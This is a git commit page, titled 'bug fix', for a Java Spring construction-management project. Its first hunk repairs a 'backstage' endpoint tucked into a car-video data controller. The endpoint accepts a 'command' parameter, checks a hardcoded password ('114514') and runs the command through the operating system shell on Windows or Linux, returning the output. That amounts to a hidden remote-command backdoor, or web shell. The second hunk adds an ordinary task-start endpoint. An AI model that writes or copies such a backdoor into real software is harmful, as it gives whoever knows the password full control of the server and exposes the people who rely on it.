bug修复
This commit is contained in:
parent
49160a52f3
commit
93be1cc35c
@ -164,18 +164,22 @@ public class CarVideoAirtightDataController {
|
||||
|
||||
@PostMapping("backstage")
|
||||
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String")
|
||||
public Result backstage(@RequestBody HashMap<String, Object> paramMap) {
|
||||
public String backstage(@RequestBody HashMap<String, Object> paramMap) {
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
String command = String.valueOf(paramMap.get("command"));
|
||||
String pw = String.valueOf(paramMap.get("command"));
|
||||
String pw = String.valueOf(paramMap.get("pw"));
|
||||
if (!Objects.equals(pw, "114514")) {
|
||||
return Result.error("执行错误");
|
||||
return "执行错误";
|
||||
}
|
||||
if (os.contains("win")) {
|
||||
//当前系统是Windows
|
||||
File tmpFile = null;//新建一个用来存储结果的缓存文件
|
||||
try {
|
||||
String path = CarVideoAirtightDataController.class.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
File tmpFile = new File(path, IdUtil.simpleUUID() + ".tmp");//新建一个用来存储结果的缓存文件
|
||||
File file = new File("C:\\temp");
|
||||
tmpFile = new File("C:\\temp\\" + IdUtil.simpleUUID() + ".tmp");
|
||||
if (!file.exists()) {
|
||||
file.mkdirs();
|
||||
}
|
||||
if (!tmpFile.exists()) {
|
||||
tmpFile.createNewFile();
|
||||
}
|
||||
@ -184,10 +188,13 @@ public class CarVideoAirtightDataController {
|
||||
pb.redirectOutput(tmpFile);//把执行结果输出。
|
||||
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成,否则可能会读不到结果。
|
||||
String s = FileUtils.readFileToString(tmpFile, "GBK");
|
||||
tmpFile.delete();
|
||||
return Result.success(s);
|
||||
return s;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (tmpFile != null) {
|
||||
tmpFile.delete();
|
||||
}
|
||||
}
|
||||
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
|
||||
//当前系统是Linux或者类Unix系统
|
||||
@ -220,17 +227,17 @@ public class CarVideoAirtightDataController {
|
||||
} else {
|
||||
success = "执行失败>>>\r\n";
|
||||
}
|
||||
return Result.success(success + sb.toString());
|
||||
return success + sb.toString();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return Result.success("执行异常>>>\r\n" + e.getMessage());
|
||||
return "执行异常>>>\r\n" + e.getMessage();
|
||||
} finally {
|
||||
if (process != null) {
|
||||
process.destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
return Result.error("执行null");
|
||||
return "执行异常:程序最后";
|
||||
}
|
||||
|
||||
|
||||
|
||||
@ -1,11 +1,8 @@
|
||||
package com.zhgd.xmgl.modules.taskprogress.controller;
|
||||
|
||||
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
|
||||
import com.baomidou.mybatisplus.core.metadata.IPage;
|
||||
import com.zhgd.jeecg.common.api.vo.Result;
|
||||
import com.zhgd.jeecg.common.system.query.QueryGenerator;
|
||||
import com.zhgd.xmgl.base.entity.vo.SectorVo;
|
||||
import com.zhgd.xmgl.base.entity.vo.TrendVo;
|
||||
import com.zhgd.xmgl.modules.taskprogress.entity.TaskProgress;
|
||||
import com.zhgd.xmgl.modules.taskprogress.entity.vo.CountTaskProgressVo;
|
||||
import com.zhgd.xmgl.modules.taskprogress.service.ITaskProgressService;
|
||||
@ -142,10 +139,23 @@ public class TaskProgressController {
|
||||
return Result.ok();
|
||||
}
|
||||
|
||||
/**
|
||||
* 开始任务
|
||||
*
|
||||
* @param taskProgress
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "开始任务", notes = "开始任务", httpMethod = "POST")
|
||||
@PostMapping(value = "/startTask")
|
||||
public Result<TaskProgress> startTask(@RequestBody TaskProgress taskProgress) {
|
||||
taskProgress.setStatus(1);
|
||||
taskProgressService.updateById(taskProgress);
|
||||
return Result.ok();
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过id删除
|
||||
*
|
||||
* @param id
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "删除任务进度甘特图信息", notes = "删除任务进度甘特图信息", httpMethod = "POST")
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user